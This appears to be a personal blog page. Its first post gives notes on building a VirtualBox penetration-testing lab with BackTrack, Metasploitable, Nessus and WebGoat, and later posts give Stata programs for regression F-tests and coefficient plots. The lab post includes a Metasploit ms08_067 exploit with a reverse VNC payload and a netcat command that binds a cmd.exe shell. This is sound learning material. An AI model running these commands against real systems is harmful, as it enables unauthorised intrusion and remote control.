Setting up a hacking lab (sandboxed environment) using virtualbox guest

I've been working my way through a book on hacking and penetration testing:

The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy (Syngress Basics Series)

Overall, it is a good read, and great for beginners like me. One shortcoming is that it doesn't tell you how to set up a hacking lab on your computer. That is, how to set up different operating systems running on virtual machines (like virtualbox), as an alternative to networking multiple physical machines. I struggled a bit to set up a hacking lab, so I thought I would post my notes here.

Steps:

1. Download Virtualbox (https://www.virtualbox.org/) for whatever operating system you are using. I started off using a Mac runnig snow leopard, but my Mac is old and can't handle much, so I switched to a PC running windows 7 with 8 GB ram (64 bit Machine), which I have available.

2. Download Backtrack Linux (http://www.backtrack-linux.org) and make sure you follow the instruction at these two pages: http://www.backtrack-linux.org/wiki/index.php/VirtualBox_Install and http://www.backtrack-linux.org/wiki/index.php/Install_BackTrack_to_Disk

One modification: AFTER installing backtrack but BEFORE installing virtualbox guest additions, do the following:

apt-get update
apt-get upgrade
apt-get install dkms

3. Download a couple of operating systems to use as targets to practice on (this is what is recommended in the book). Here are some options:
- Windows XP, preferably with no service pack, or SP1. If you can only get SP2 or SP3, then fine.
- Metasploitable (http://www.offensive-security.com/metasploit-unleashed/Metasploitable). This is the link to the torrent file.
- Anything else you want to try. Windows 7 maybe? An older version of Ubuntu?

4. Set up the "guest" virtual machines for these other operating systems similar to the way you installed backtrack linux and according to the documentation for Virtualbox. BUT, you should make one change to the default settings that the book and above resources (except the Virtualbox documentation) does not mention: For EACH guest machine, under "Settings" -> "Network" in the "Attached to:" field, select from the drop-down menu "Bridge Adapter" (instead of the default NAT). Then go ahead and start your guest machines.

This will allow your machines to ping, nmap, etc. each other (note that if Windows XP firewall is enabled, then it won't reply to pings, nmap, etc.).

Installing Win XP in a guest machine was pretty easy. The same is true for Metasploitable - once you know what to do, which is the following (after you have unzipped the metasploitable.zjip file):

1. In the Virtualbox Manager (I'm using 4.1.16 r78094), click "New" then "Next"
2. Enter a name for the virtual machine, e.g. metasploit
3. Select the amount of memory, e.g. 512 MB and click next
4. Leave Startup Disk checked, and select "Use Existing Hard Disk". Click the folder and navigate to the Metasploitable.vmdk file
5. Click Open, then Create.

Don't forget to change the Video memory to 64 MB (or 128 MB), and change the Network to Bridge Adapter.

Also, the login credentials for Metasploitable are user: msfadmin, and password: msfadmin.

UPDATE 1: There is a typo on page 34 of the book. "set type 5 mx" should instead be "set type = mx"

UPDATE 2: Getting Nessus to work on Firefox running on Backtrack Linux 5 R2 was a pain - the official instructions at the backtrack wiki actually do not work for x64 - but I eventually got it working (for 32 bit, even on a 64 bit machine with BT 64 bit). Here is how (thanks to the backtrack wiki and this post). First follow the instructions at the backtrack wiki page with instructions to install flash player ONLY TO REMOVE the existing flash installation on backtrack (if there is any). Don't do the rest yet:

root@bt:~# apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common mozilla-plugin-gnash swfdec-mozilla
root@bt:~# rm -f /usr/lib/firefox/plugins/*flash*
root@bt:~# rm -f /usr/lib/firefox-addons/plugins/*flash*
root@bt:~# rm -f /usr/lib/mozilla/plugins/*flash*
root@bt:~# rm -f ~/.mozilla/plugins/*flash*so
root@bt:~# rm -rfd /usr/lib/nspluginwrapper

These instructions are fine. Now SKIP the part about installing for x64. Next, use the following commands to get the flash player and install the plug-in:

wget http://fpdownload.macromedia.com/get/flashplayer/pdc/11.1.102.63/install_flash_player_11_linux.i386.tar.gz
tar xvzf install_flash_player_11_linux.i386.tar.gz
mkdir ~/.mozilla/plugins
mv libflashplayer.so ~/.mozilla/plugins/

UPDATE 2a: now install nessus:

apt-get install nessus

You can add a user now (by typing at the prompt: /opt/nessus/sbin/nessus-adduser
) or later. Now register for an activation code at: http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code

You will receive an activation code by email. Lets call this @activation_code@. Once you get it, run the following command (replacing @activation_code@ with your activation code - yes, replace the @ symbols too):

/opt/nessus/bin/nessus-fetch --register @activation_code@

UPDATE 3: To log into nessus, you will need to create a user account on nessus. To do so, open up the console and enter the following command:

/opt/nessus/sbin/nessus-adduser

UPDATE 3a: To start nessus, you must type at the command prompt:

/opt/nessus/sbin/nessus-service -D

after nessus processes the plug ins, it should be ready for starting. Note that we are using the 32 bit version (I don't know why the 64 bit version doesn't work). Now you should be able to start firefox, navigate to nessus (https://127.0.0.1:8834) and see a login screen.

UPDATE 4: On page 72 of the book you, you are instructed to launch Metasploit using the following command:

/pentest/exploits/framework3/msfconsole

On backtrack linux R2 64 bit, this won't work. Instead you might use:

/pentest/exploits/framework2/msfconsole

This will launch the Metasploit, but there is another problem. On page 74 of the book, you are instructed to use the "search" command in Metasploit. It won't work - the search command is not supported. Instead, you need to update Metasploit. From the terminal, type:

msfupdate

(but FIRST, you might want to follow this advice at this link: update Metasploit on Backtrack Linux R2). This will take some time. After it is done, launch Metasploit:

msfconsole

And at the "msf > " prompt, check to see that you have the latest version:

msf >version

(just type version at the prompt). Now you should be able to use the search command in Metasploit.

UPDATE 5: After following some instructions from the book, you'll start an exploit using the "exploit" command at the msf prompt. For example, I am practicing attaching a VirtualBox running Windows XP SP2, so after launching msfconsole, I did the following at the msf > prompt:

use exploit/windows/smb/ms08_067_ntapi
set payload windows/vncinject/reverse_tcp
set RHOST 192..... (victim machine, i.e. win xp sp2 machine, ip address)
set LHOST 192..... (attacker, i.e. backtrack linux machine, ipaddress)
exploit

Now you have access to the victim machine. But in your terminal, there is no prompt. Just go to the terminal and hit enter and you will get your msf > prompt back. There are no instructions in the book on how to stop the exploit, so I just type quit at the prompt and then relaunch msfconsole - that seems to do the trick.

UPDATE 6: I'm trying to use Autopwn automation on Fast-track Web in Backtrack. When I select Autopwn automation from the web browser, the browser displays only HTML instead of a menu. I thought that the problem was with Java not being installed in firefox, so I followed these instructions to intall/update the Java plugin in Firefox. That didn't solve the problem. Then I came across this post which states that autopwn won't work after updating Metasploit, because the updating removes the db_autopwn file. So I followed those instructions and downloaded a new db_autopwn file from the link that is available here, placed it in /opt/metasploit/msf3/plugins, and then edited autopwn.py (you can find the directory using the command find / -name autopwn.py). I rebooted BT5 and still it didn't fix the issue. I then updated Fast Track by loading the Fast Track Interactive application from the kstart dragon and selecting update (1 on the menu). I even updated Firefox to the latest version. Still, Autopwn Automation doesn't work on the web GUI. I'll give up for now and just use Fast Track Interactive.

UPDATE 7: Ok, forget Firefox. Autopwn Automation works fine if you access it using Konqueror.

UPDATE 8: In case you want to transfer files between the host and the guest, you can to the following: on the host machine, click "Devices" -> "Shared Folders" -> "Transient Folders" -> click the green "Add Shared Folders (ins)" icon -> In folder path click the down arrow, select "other" and browse to the folder you want to select, then click "ok". Then in a Terminal in the guest, you can type:

mount -t vboxsf name_of_the_folder_you_shared /mnt

name_of_the_folder_you_shared is the name of the folder that you shared as it appears under "Transient Folders" in the Shared Folders folder of the Settings box. (The command I used is:

mount -t vboxsf shareme /mnt

because I shared a folder called "shareme")

That folder will now appear in the /mnt directory

UPDATE 9: Getting Webgoat running on BackTrack Linux was a huge pain. This link helped, and so did this link. Here is what I did:

1. Open up a terminal, and update everything in sight:
apt-get update
apt-get upgrade
 
2. If you don't have the Java stuff installed, then install it. While you're at it, install p7zip:
apt-get install p7zip
apt-get install openjdk-6-jre openjdk-6-jdk

3. Extract the files, then move them, and make the .sh file executable:
p7zip -d OWASP_Standard WebGoat-5.3_RC1.7z
mkdir /pentest/web/webgoat
mv WebGoat-5.3_RC1/* /pentest/web/webgoat/
chmod +x /pentest/web/webgoat/webgoat.sh

4. At this point, you need to rename a file:
cd /pentest/web/webgoat/tomcat/webapps
mv webgoat.war WebGoat.war
cd /pentest/web/webgoat

(note that you need to be in the /pentest/web/webgoat directory for webgoat to run properly; this is because of the way the paths are defined in the webgoat.sh file)

5. Now start webgoat:
/pentest/web/webgoat/webgoat.sh start80 (or start8080)

6. open up a browser and go to: http://127.0.0.1/WebGoat/attack (or http://127.0.0.1:8080/WebGoat/attack) and log in with:
user: guest
password: guest

UPDATE #10: There is a mistake on page 133, in the section on using Netcat:

meterpreter > nc –L –p 5777 –e cmd.exe

should be instead:

meterpreter > execute -f  "nc.exe –L –p 5777 –e cmd.exe"

More hints and advice to come, hopefully.

An easy way to conduct f-tests on regression coefficients

Suppose you want to conduct a joint test for significance on coefficients of variables that have been expanded in a regression using the xi command. For example suppose you ran the command:

xi: svy, subpop(rual) : y i.lfs i.roofmat  var5 var6 var7 var8

doing an f-test manually on the each of the expanded variables would involve typing (or copying and pasting) the expanded variables, something like:

test _Ilfs_2 _Ilfs_3 _Ilfs_5 _Ilfs_6 _Ilfs_10
test _Iroofmat_2 _Iroofmat_5 _Iroofmat_6 _Iroofmat_7 _Iroofmat_8

As you can see, the numbers on the xi expanded variables do not necessarily increase by one. And this can be cumbersome to type out, or copy and paste, especially if you have many such categorical variables. I'm sure someone has solved this already, but I couldn't find a solution through a web search, so I made my own.

The following program, which you would run after running the reg command, will automatically run f-tests on each group of xi expanded categorical variables. So you would use this program as follows:

xi: svy, subpop(rual) : y i.lfs i.roofmat  var5 var6 var7 var8
easyftest

To use this, just copy the program below and save it as an .ado file in your Stata path to your personal programs directory. The filename should be "easyftest.ado". Let me know if you have any trouble with it. Good luck!

program define easyftest

    local xivars "`_dta[__xi__Vars__To__Drop__]:'"
    local word1 : word 1 of `xivars'
    local pattern = regexr("`word1'","_[0-9]+$","_")
    // di "word1 = `word1'"
    // di "pattern = `pattern'"
    local ftestvars1 "`word1'"
    local count = 0
    local ftestcount 1
    foreach var of local xivars {
        local count = `count' + 1
        if (`count' != 1) {
            local w : word `count' of `xivars'
            // di "w: `w'"
            // check to see whether the next variable is to be included in this list of f-test variables
            if (regexm("`w'","^`pattern'[0-9]+$")) { // there is a match - add this to this list of ftest variables
                // di "pattern match!"
                local ftestvars`ftestcount' "`ftestvars`ftestcount'' `w'"
                // di "ftestvars`ftestcount' : `ftestvars`ftestcount''"
            }   
            else { // no match, create a new list of f-test variables, add this variable to it as the first element, and replace the pattern
                local ftestcount = `ftestcount' + 1
                local ftestvars`ftestcount' "`w'"
                local pattern = regexr("`w'","_[0-9]+$","_")
            }
        }
    }
   
    forv k = 1/`ftestcount' { // Do all the ftest
        // di "ftestvars`k' : `ftestvars`k''"
        // return local ftestvars`k' `ftestvars`k''
        test `ftestvars`k''
    }
    // return scalar N = `ftestcount'

end

Stata tip: Plotting the coefficients estimated from a regression (bar graph in stata)

Suppose you want to make a bar chart/graph/plot of the coefficients (betas) that are returned in the ereturn list from the regression (reg) command. You might want to do this if you want to visualize the relative weight the coefficients give to your estimation. For example, suppose you want to predict consumption based on the assets: car, satellite dish, generator, household size (e.g. if you are working on a Proxy Means Test (PMT) formula). Assume the first three are dummy/binary indicators.

The coefficients estimated from the regression will give you an indication how important each factor is. For example, if the coefficients are, respectively: +5, +1, +3, -15, then you know that the household size dominates the calculation: an additional member reduces predicted consumption more than having all the other assets increases it.

Here is some code for a program (.ado file) that you can call after running the reg command that will create a dataset with the variables in the regression (including the constant) and one observation for each variable, which is the coefficient (see more text after the code below. Yes I know this code is horribly inefficiently written, I just wanted something quick, which means I got something quick and dirty):

program define dataset_coefficients
   
    syntax , Filename(string) [Separator(string)]
    version 9.1
    if ("`separator'" == "") {
        local separator  ","
    }
    // Get the names of the variables to write out. Need to change " o." to " " for making name for the macro to hold the variable labels
    local varnames : coln e(b)
    local coefs ""
    foreach varn of local varnames {
        local coef = _coef[`varn']
        local coefs "`coefs' `coef'"
        local varn1 = regexr("`varn'","o._I","_I")
        if ("`varn'" != "_cons") {
            local varlab_`varn1' : variable label `varn1'
        }
        else {
            local varlab_constant "constant"
        }
    }
    preserve
    drop *
    // Generate the new variable names, and apply the labels
    local variablenamestoplot ""
    foreach varn of local varnames {
        local varn1 = regexr("`varn'","o._I","_I")
        if ("`varn'" != "_cons") {
            gen `varn1' = .
            label var `varn1' `"`varlab_`varn1''"'
            local variablenamestoplot "`variablenamestoplot' `varn1'"
        }
        else {
            gen constant = .
            label var constant "constant"
            local variablenamestoplot "`variablenamestoplot' `constant'"
        }
    }
    // Apply the values to the variables as observations
    set obs 1
    local count = 0
    foreach varn of local varnames {
        local count = `count' + 1
        local coef1 : word `count' of `coefs'
        local varn1 = regexr("`varn'","o._I","_I")
        if ("`varn'" != "_cons") {
            // constant?
            replace `varn1' = `coef1' in 1
        }
        else {
            replace constant = `coef1' in 1
        }
    }
    cap drop __*
    // global variablenamestoplot "`variablenamestoplot'"
    // char [variablenamestoplot] "`variablenamestoplot'"
    notes : `variablenamestoplot'
    save "`filename'" , replace
    restore
end program

After calling this, you can simply load the dataset and graph/chart/plot the coefficients on a bar graph using the following command:

use plotme.dta, clear
 // get the list of variables. I can't just use * because I get some error like __00000 not found. And I don't want to plot the constant.
local listofvars ""
foreach var of varlist * {
        if ("`var'" != "constant") {
            local listofvars "`listofvars' `var'"
        }
}
graph bar (asis) `listofvars', blabel(name, pos(outside) orient(vertical)) legend(off) title("Coefficients ")
graph export coef.png, replace

Let me know how this works for you.

Constructing the regression equation with actual coefficients/betas from the e(b) matrix from the ereturn list after running reg with xi and svy

I hope that the title to this post hit all the keywords. So here was my dilema: after running the reg command to estimate regression coefficients (betas), I wanted to apply this equation to a different set of data without having to copy and paste the actual beta hats.

So I have a dataset, hhsurvey.dta, and I estimate the following regression

y = b0 +b1*X1 + b2*X2 + ... bn*Xn

and I get

y_hat
b0_hat
b1_hat
.
.
.
bn_hat

With this, I want to take a different dataset, applicants.dta, with the same variables (but of course different values for these variables), and I want to predict y for the observations in applicants.dta:

y_hat_2 =  b0_hat +b1_hat*X1 + b2_hat*X2 + ... bn_hat*Xn

I could copy and paste the beta_hats from the regression outputs, but this it painful to do even once (I am using many variables because I am using many including categorical variables). Any I suspect I will have to do this many times. My solution was to take the output of the e(b) matrix, which has all the information necessary. After running the regression command:


xi: svy: reg y car i.roofmaterial i.fencematerial i.hhsize ...


you will find some great information stored in the ereturn value "e(b)"


matrix list e(b)


anyways, to make an equation with the regression variables and beta_hats, try the following:

local varnames_rural : coln e(b) // Stores the column names (i.e. variable names) in a local macro.
local equation_rural "" // Will put the equation in this local macro
foreach varn of local varnames_rural { // Loop through all the column (variable) names
    local coef = _coef[`varn'] // This is the beta_hat corresponding to the variable name (inc. categorical vars)
    if ("`varn'" != "_cons") { // The constant in the regression shouldn't be multiplied by anything
        if (`coef' < 0) { // we want to put a "+" before positive coefficients, but not before negative coefficients
            local equation_rural "`equation_rural' `coef'*`varn'"
        }
        else {
            local equation_rural "`equation_rural' + `coef'*`varn'"
        }
    }
    else {
        if (`coef' < 0) {
            local equation_rural "`equation_rural' `coef'"
        }
        else {
            local equation_rural "`equation_rural' + `coef'"
        }
    }
}
di "equation: `equation_rural'"

How about if you want to save this to a file, so that you can load it into a macro in another do file? Try this:

tempname fh
file open `fh' using "myfile.txt", w replace all
file write `fh' "`equation_urban'" _n
file close `fh'

Now, in your new do file that has the applications.dta dataset, with the same variables names, you can use the following code to calcualte y_hat_2 for the applications.dta dataset:

// load the equation
tempname fh2
file open `fh2' using "myfile.txt", r t
file read `fh2' line1
file close `fh2'

di `"line1 = `line1'"'

gen y_hat_2 = `line1'

This should work - leave a comment if it doesn't. Good luck!